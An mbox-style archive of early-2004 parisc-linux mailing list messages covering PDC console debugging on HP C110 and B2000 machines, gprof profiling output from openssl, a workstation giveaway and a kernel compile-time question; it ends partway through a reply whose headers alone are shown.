>>So I uncheck serial_mux and check pdc_console with make menuconfig (edit also pdc_cons.c to define EARLY_BOOTUP_DEBUG)
>>Then I create the special file "mknod /dev/ttyB0 c 11 0", add "TB0:12345:respawn:/sbin/getty 38400 ttyB0" in /etc/inittab
>>
>>(I also try to apply Richard patch <http://lists.parisc-linux.org/pipermail/parisc-linux/2002-May/016384.html>)
>>
>>But no way to make it works?
>>
>>Linux version 2.6.0-pa5 (root@hpalin) (gcc version 3.3.3 20031206 (prerelease) 3FP[0] enabled: Rev 1 Model 11 
>>                               The 32-bit Kernel has started...
>>Initialized PDC Console for debugging.
>>Determining PDC firmware type: System Map.
>>model 000058e0 00000481 00000000 00000002 77e47570 100000f1 00000004 0000008a 0avers  0000000d
>>CPUID vers 11 rev 13 (0x0000016d)
>>model 9000/777/C110
>>Total Memory: 128 Mb
>>[snip]
>>Soft power switch enabled, polling @ 0xf0140000.
>>Console: switching to colour frame buffer device 128x48
>>pty: 256 Unix98 ptys configured
>>lp: driver loaded but no devices found
>>Generic RTC Driver v1.07
>>Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
>>ttyS0 at MMIO 0xffd05800 (irq = 90) is a 16550A
>>ttyS1 at MMIO 0xffe02800 (irq = 121) is a 16550A
> 
> 
> Your machine has standard serial ports. So why do you want to
> switch on serial_mux stuff when it's not needed (and not possible
> since the device is not present in your machine) ?
> 
> Helge
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 



-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:30:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Mon, 12 Jan 2004 22:42:15 -0700
Lines: 220
Approved: news@gmane.org
Message-ID: <20040113054215.GB27285__45425.7413781763$1416623125$gmane$org@colo.lackof.org>
References: <20040105194809.GA9269@systemhalted>
	<20040105194839.GB9269@systemhalted>
	<20040111040906.GA32382@colo.lackof.org>
	<20040111204355.GL28742@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623125 4498 80.91.229.3 (22 Nov 2014 02:25:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: grundler@lackof.org  Mon Jan 12 22:42:18 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF1EB4854
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jan 2004 22:42:17 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 9A162298057; Mon, 12 Jan 2004 22:42:16 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 29795-09; Mon, 12 Jan 2004 22:42:15 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 41B82298052; Mon, 12 Jan 2004 22:42:15 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040111204355.GL28742@systemhalted>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 13 Jan 2004 05:42:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20620

On Sun, Jan 11, 2004 at 03:43:55PM -0500, Carlos O'Donell wrote:
> Excellent. You haven't tried profiling any programs have you? :)
> Compile with CFLAGS=-pg, run-em, then run gprof on the gmon.out output?

Here's "apps/openssl speed rsa" gprof output from my c3000.
(2.6.0-pa7, Debian testing)

TBH, it looks wrong.
I didn't expect "get_dsa1024" to show up.
I suspect I didn't get all the various CFLAGS.
I edited */Makefile and added -pg by hand to "CFLAG" variables
and then "make clean" + "make".

hth,
grant


Flat profile:

Each sample counts as 0.01 seconds.
  %   cumulative   self              self     total           
 time   seconds   seconds    calls  Ts/call  Ts/call  name    
 63.64      0.07     0.07                             lock_dbg_cb
 27.27      0.10     0.03                             check_end
  9.09      0.11     0.01                             call_frame_dummy
  0.00      0.11     0.00       16     0.00     0.00  Time_F
  0.00      0.11     0.00        8     0.00     0.00  pkey_print_message
  0.00      0.11     0.00        1     0.00     0.00  destroy_ui_method
  0.00      0.11     0.00        1     0.00     0.00  do_cmd
  0.00      0.11     0.00        1     0.00     0.00  get_dsa1024
  0.00      0.11     0.00        1     0.00     0.00  get_dsa2048
  0.00      0.11     0.00        1     0.00     0.00  get_dsa512
  0.00      0.11     0.00        1     0.00     0.00  load_config
  0.00      0.11     0.00        1     0.00     0.00  make_config_name
  0.00      0.11     0.00        1     0.00     0.00  prog_init
  0.00      0.11     0.00        1     0.00     0.00  program_name
  0.00      0.11     0.00        1     0.00     0.00  setup_ui_method
  0.00      0.11     0.00        1     0.00     0.00  speed_main

 %         the percentage of the total running time of the
time       program used by this function.

cumulative a running sum of the number of seconds accounted
 seconds   for by this function and those listed above it.

 self      the number of seconds accounted for by this
seconds    function alone.  This is the major sort for this
           listing.

calls      the number of times this function was invoked, if
           this function is profiled, else blank.
 
 self      the average number of milliseconds spent in this
ms/call    function per call, if this function is profiled,
	   else blank.

 total     the average number of milliseconds spent in this
ms/call    function and its descendents per call, if this 
	   function is profiled, else blank.

name       the name of the function.  This is the minor sort
           for this listing. The index shows the location of
	   the function in the gprof listing. If the index is
	   in parenthesis it shows where it would appear in
	   the gprof listing if it were to be printed.

		     Call graph (explanation follows)


granularity: each sample hit covers 2 byte(s) for 9.09% of 0.11 seconds

index % time    self  children    called     name
                                                 <spontaneous>
[1]     63.6    0.07    0.00                 lock_dbg_cb [1]
-----------------------------------------------
                                                 <spontaneous>
[2]     27.3    0.03    0.00                 check_end [2]
-----------------------------------------------
                                                 <spontaneous>
[3]      9.1    0.01    0.00                 call_frame_dummy [3]
-----------------------------------------------
                0.00    0.00      16/16          speed_main [16]
[4]      0.0    0.00    0.00      16         Time_F [4]
-----------------------------------------------
                0.00    0.00       8/8           speed_main [16]
[5]      0.0    0.00    0.00       8         pkey_print_message [5]
-----------------------------------------------
                0.00    0.00       1/1           main [131]
[6]      0.0    0.00    0.00       1         destroy_ui_method [6]
-----------------------------------------------
                0.00    0.00       1/1           main [131]
[7]      0.0    0.00    0.00       1         do_cmd [7]
                0.00    0.00       1/1           speed_main [16]
-----------------------------------------------
                0.00    0.00       1/1           speed_main [16]
[8]      0.0    0.00    0.00       1         get_dsa1024 [8]
-----------------------------------------------
                0.00    0.00       1/1           speed_main [16]
[9]      0.0    0.00    0.00       1         get_dsa2048 [9]
-----------------------------------------------
                0.00    0.00       1/1           speed_main [16]
[10]     0.0    0.00    0.00       1         get_dsa512 [10]
-----------------------------------------------
                0.00    0.00       1/1           speed_main [16]
[11]     0.0    0.00    0.00       1         load_config [11]
-----------------------------------------------
                0.00    0.00       1/1           main [131]
[12]     0.0    0.00    0.00       1         make_config_name [12]
-----------------------------------------------
                0.00    0.00       1/1           main [131]
[13]     0.0    0.00    0.00       1         prog_init [13]
-----------------------------------------------
                0.00    0.00       1/1           main [131]
[14]     0.0    0.00    0.00       1         program_name [14]
-----------------------------------------------
                0.00    0.00       1/1           main [131]
[15]     0.0    0.00    0.00       1         setup_ui_method [15]
-----------------------------------------------
                0.00    0.00       1/1           do_cmd [7]
[16]     0.0    0.00    0.00       1         speed_main [16]
                0.00    0.00      16/16          Time_F [4]
                0.00    0.00       8/8           pkey_print_message [5]
                0.00    0.00       1/1           load_config [11]
                0.00    0.00       1/1           get_dsa512 [10]
                0.00    0.00       1/1           get_dsa1024 [8]
                0.00    0.00       1/1           get_dsa2048 [9]
-----------------------------------------------

 This table describes the call tree of the program, and was sorted by
 the total amount of time spent in each function and its children.

 Each entry in this table consists of several lines.  The line with the
 index number at the left hand margin lists the current function.
 The lines above it list the functions that called this function,
 and the lines below it list the functions this one called.
 This line lists:
     index	A unique number given to each element of the table.
		Index numbers are sorted numerically.
		The index number is printed next to every function name so
		it is easier to look up where the function in the table.

     % time	This is the percentage of the `total' time that was spent
		in this function and its children.  Note that due to
		different viewpoints, functions excluded by options, etc,
		these numbers will NOT add up to 100%.

     self	This is the total amount of time spent in this function.

     children	This is the total amount of time propagated into this
		function by its children.

     called	This is the number of times the function was called.
		If the function called itself recursively, the number
		only includes non-recursive calls, and is followed by
		a `+' and the number of recursive calls.

     name	The name of the current function.  The index number is
		printed after it.  If the function is a member of a
		cycle, the cycle number is printed between the
		function's name and the index number.


 For the function's parents, the fields have the following meanings:

     self	This is the amount of time that was propagated directly
		from the function into this parent.

     children	This is the amount of time that was propagated from
		the function's children into this parent.

     called	This is the number of times this parent called the
		function `/' the total number of times the function
		was called.  Recursive calls to the function are not
		included in the number after the `/'.

     name	This is the name of the parent.  The parent's index
		number is printed after it.  If the parent is a
		member of a cycle, the cycle number is printed between
		the name and the index number.

 If the parents of the function cannot be determined, the word
 `<spontaneous>' is printed in the `name' field, and all the other
 fields are blank.

 For the function's children, the fields have the following meanings:

     self	This is the amount of time that was propagated directly
		from the child into the function.

     children	This is the amount of time that was propagated from the
		child's children to the function.

     called	This is the number of times the function called
		this child `/' the total number of times the child
		was called.  Recursive calls by the child are not
		listed in the number after the `/'.

     name	This is the name of the child.  The child's index
		number is printed after it.  If the child is a
		member of a cycle, the cycle number is printed
		between the name and the index number.

 If there are any cycles (circles) in the call graph, there is an
 entry for the cycle-as-a-whole.  This entry shows who called the
 cycle (as parents) and the members of the cycle (as children.)
 The `+' recursive calls entry shows the number of function calls that
 were internal to the cycle, and the calls entry for each member shows,
 for that member, how many times it was called from other members of
 the cycle.


Index by function name

   [4] Time_F                  [9] get_dsa2048            [13] prog_init
   [3] call_frame_dummy       [10] get_dsa512             [14] program_name
   [2] check_end              [11] load_config            [15] setup_ui_method
   [6] destroy_ui_method       [1] lock_dbg_cb            [16] speed_main
   [7] do_cmd                 [12] make_config_name
   [8] get_dsa1024             [5] pkey_print_message


From - Thu Nov 08 21:30:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Quinn, Timothy" <Timothy.Quinn@McKesson.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] C200 available to good home (Pittsburgh area
 )
Date: Tue, 13 Jan 2004 02:32:14 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <97399C6F047FFE43BA1F4520E9E27EF504465A67@atlexc05ntms.hboc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623125 4503 80.91.229.3 (22 Nov 2014 02:25:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'David Huggins-Daines'" <dhd@pobox.com>,
	"Quinn, Timothy" <Timothy.Quinn@McKesson.com>
Original-X-From: Timothy.Quinn@McKesson.com  Tue Jan 13 00:31:42 2004
Return-Path: <Timothy.Quinn@McKesson.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail2.mckhboc.com (mail2.mckhboc.com [208.147.67.99])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3610F4854
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jan 2004 00:31:42 -0700 (MST)
Original-Received: from 139.177.6.217 by mail2.mckhboc.com with ESMTP (Outbound
	Mail2 SMTP Relay (MMS v5.6.0)); Mon, 12 Jan 2004 23:31:31 -0800
X-Server-Uuid: 01AC2B3C-C8ED-48E0-9845-A54B89A139B8
Original-Received: by smtpout.hboc.com with Internet Mail Service (5.5.2653.19)
	id <Z0YL9H0P>; Tue, 13 Jan 2004 02:31:53 -0500
Original-Received: from atlexc90nthub.hboc.com (ims1.mckesson.com [139.177.6.114]
	) by atlexcsmtpb.hboc.com with SMTP (Microsoft Exchange Internet Mail
	Service Version 5.5.2653.13) id Z0YL9H0N; Tue, 13 Jan 2004 02:31:48
	-0500
Original-Received: by ims1.mckesson.com with Internet Mail Service (5.5.2653.19)
	id <ZAVMFMX2>; Tue, 13 Jan 2004 02:32:08 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
X-WSS-ID: 6C1D41591P06460962-01-01
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 13 Jan 2004 07:31:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20621

Well, if It helps any, I have family in Pennsylvania.  Littlestown, to be
exact.  And my favorite hockey team is the penguins...

-----Original Message-----
From: David Huggins-Daines [mailto:dhd@pobox.com] 
Sent: Friday, January 09, 2004 8:45 AM
To: Quinn, Timothy
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] C200 available to good home (Pittsburgh area )


On Jan 9, 2004, at 5:37 AM, Quinn, Timothy wrote:

> What does the thing weigh?  I am in Atlanta, but might be able to pay 
> for
> shipping.  God knows I can use something better than my h50...

Funny, I never actually weighed it myself until now.  It weighs exactly 
50 pounds.  Shipping is actually not as much as I thought - it should 
only be $25 or $30 for UPS Ground.



From - Thu Nov 08 21:30:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=202=2E6=20=26=20pdc=5Fconsole=20pb=20on=20c110=3A=20=22Warning=3A=20unable=09to=09open=20an=20initial=20console=2E=22?=
Date: Tue, 13 Jan 2004 09:39:17 +0100
Lines: 113
Approved: news@gmane.org
Message-ID: <400324B6000002CE@ocpmta1.freegates.net>
References: <40032C85.3040901@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623126 4510 80.91.229.3 (22 Nov 2014 02:25:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Christoph Plattner" <christoph.plattner@gmx.at>,
	"Helge Deller" <deller@gmx.de>
Original-X-From: soete.joel@tiscali.be  Tue Jan 13 01:39:30 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76F434854
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jan 2004 01:39:30 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AgK4z-0005ph-00; Tue, 13 Jan 2004 09:39:17 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 13 Jan 2004 09:39:17 +0100
In-Reply-To: <40032C85.3040901@gmx.at>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 13 Jan 2004 08:39:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20622

Hello Christoph,

>
>Anyway, the PDC driver should work for all architectures, independent of
>the serial type (this was my concept of this driver).
>
>Is the driver fully ported to the 2.6 kernel ?
>In the first log, the line "Warning: unable to open an initial console."
>was shown, so the open on this device fails !
>Futher there is no PDC driver registered under proc/devices !

That a better explanation ;) (afaik there are some changes from 2.4 to 2.6
driver's implementation and also some paper about the subject, I will see)

>I have never tested a 2.6 kernel on a HP.

Another question: I also try it with 2.4 (32 or 64 bit kernel) running on
a b2k.
But this b2k is equiped with an ide cdrom and when I try to boot a kernel
with builtin pdc driver (2.4 and 2.6), the boot process hung (the green led
of the cdrom stay continuously bright, so it seems a pb of initialization
in the pdc_console driver?. This pb also occurs even if I unplug the cdrom-drive
or remove ide-cdrom driver from kernels. otc kernels boot well with builtin
ide-cdrom driver without pdc_console driver)

Any other idea?

Thanks again,
    Joel




Christoph


Helge Deller wrote:
> On Saturday 27 December 2003 22:00, Joel Soete wrote:
> 
>
>>I try to see if pdc_console could be operational on my c110 with kernel
2.6.0-pa5.
>>
>>So I uncheck serial_mux and check pdc_console with make menuconfig (edit
also pdc_cons.c to define EARLY_BOOTUP_DEBUG)
>>Then I create the special file "mknod
>/dev/ttyB0 c 11 0", add "TB0:12345:respawn:/sbin/getty 38400 ttyB0" in /etc/inittab
>>
>>(I also try to apply Richard patch <http://lists.parisc-linux.org/pipermail/parisc-linux/2002-May/016384.html>)
>>
>>But no way to make it works?
>>
>>Linux 
>ersion 2.6.0-pa5 (root@hpalin) (gcc version 3.3.3 20031206 (prerelease)
3FP[0] enabled: Rev 1 Model 11 
>>                               The 32-bit Kernel has started...
>>Initialized PDC Console for debugging.
>>Determining PDC firmware type: Syste
> Map.
>>model 000058e0 00000481 00000000 00000002 77e47570 100000f1 00000004 0000008a
0avers  0000000d
>>CPUID vers 11 rev 13 (0x0000016d)
>>model 9000/777/C110
>>Total Memory: 128 Mb
>>[snip]
>>Soft power switch enabled, polling @ 0xf0140000.
>
>Console: switching to colour frame buffer device 128x48
>>pty: 256 Unix98 ptys configured
>>lp: driver loaded but no devices found
>>Generic RTC Driver v1.07
>>Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
>>ttyS0 at MM
>O 0xffd05800 (irq = 90) is a 16550A
>>ttyS1 at MMIO 0xffe02800 (irq = 121) is a 16550A
> 
> 
> Your machine has standard serial ports. So why do you want to
> switch on serial_mux stuff when it's not needed (and not possible
> since the device is
>not present in your machine) ?
> 
> Helge
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 



-- 
------
>------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://list
>.parisc-linux.org/mailman/listinfo/parisc-linux



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Tue, 13 Jan 2004 09:46:16 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <400324B6000002F1__24012.8924990588$1416623126$gmane$org@ocpmta1.freegates.net>
References: <20040111204355.GL28742@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623126 4517 80.91.229.3 (22 Nov 2014 02:25:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	"Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Tue Jan 13 01:47:41 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E3A064854
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jan 2004 01:47:40 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AgKBk-000831-00; Tue, 13 Jan 2004 09:46:16 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 13 Jan 2004 09:46:16 +0100
In-Reply-To: <20040111204355.GL28742@systemhalted>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 13 Jan 2004 08:47:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20623

Hi Carlos,

btw may I ask your patch so that I can test it in my tc process (and why
not trying profiling on kernel build ;) )

Thanks in advance,
    Joel

>-- Original Message --
>Date: Sun, 11 Jan 2004 15:43:55 -0500
>From: Carlos O'Donell <carlos@baldric.uwo.ca>
>To: Grant Grundler <grundler@parisc-linux.org>
>Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
>Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
>
>
>On Sat, Jan 10, 2004 at 09:09:06PM -0700, Grant Grundler wrote:
> On Mon, Jan 05, 2004 at 02:48:39PM -0500, Carlos O'Donell wrote:
> > http://www.parisc-linux.org/~carlos/glibc-2.3.2-debs-2004-01-05/
> 
> I finally installed these (libc6 and libc6-
>ev) and live is still good.
> thanks carlos!

Excellent. You haven't tried profiling any programs have you? :)
Compile with CFLAGS=-pg, run-em, then run gprof on the gmon.out output?

c.

_______________________________________________
parisc-
>inux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ivar Orskaug <Ivar.Olav.Harstad.Orskaug@idi.ntnu.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel compilation time
Date: Tue, 13 Jan 2004 15:37:21 +0100 (CET)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.58.0401131521300.24660@db-gr1.idi.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623126 4527 80.91.229.3 (22 Nov 2014 02:25:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: Ivar.Olav.Harstad.Orskaug@idi.ntnu.no  Tue Jan 13 07:37:24 2004
Return-Path: <Ivar.Olav.Harstad.Orskaug@idi.ntnu.no>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ray.idi.ntnu.no (ray.idi.ntnu.no [129.241.107.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF8754854
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jan 2004 07:37:23 -0700 (MST)
Original-Received: from db-gr1.idi.ntnu.no (db-gr1.idi.ntnu.no [129.241.111.242])
	by ray.idi.ntnu.no (8.12.10/8.12.10) with ESMTP id i0DEbLDx014980
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jan 2004 15:37:21 +0100 (MET)
X-Spam-Status: No, hits=-5.4 required=4
X-Virus-Scanned: by amavisd-new-IDI
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 13 Jan 2004 14:37:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20624

Hi,
just installed a fresh Debian on a C3000/8500. I did a kernel
recompile and after 15 minutes binutils terminated compilation,
complaining about too long arguments.  However, is this normal compilation
time? I know this is not an acurate metric, but gives an idea. I
just did an make oldconfig and then rebuilt the kernel. What is the normal
kernel compilation time on these machines?
The running kernel was 2.4.21.

	/Ivar


From - Thu Nov 08 21:30:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compilation time
Date: Tue, 13 Jan 2004 08:02:49 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <20040113160249.GJ533@tausq.org>
References: <Pine.BSF.4.58.0401131521300.24660@db-gr1.idi.ntnu.no>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623127 4530 80.91.229.3 (22 Nov 2014 02:25:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ivar Orskaug <Ivar.Olav.Harstad.Orskaug@idi.ntnu.no>
Original-X-From: randolph@tausq.org  Tue Jan 13 07:52:03 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id D9A2A4854
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jan 2004 07:52:02 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id DD365CD294; Tue, 13 Jan 2004 08:02:49 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <Pine.BSF.4.58.0401131521300.24660@db-gr1.idi.ntnu.no>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
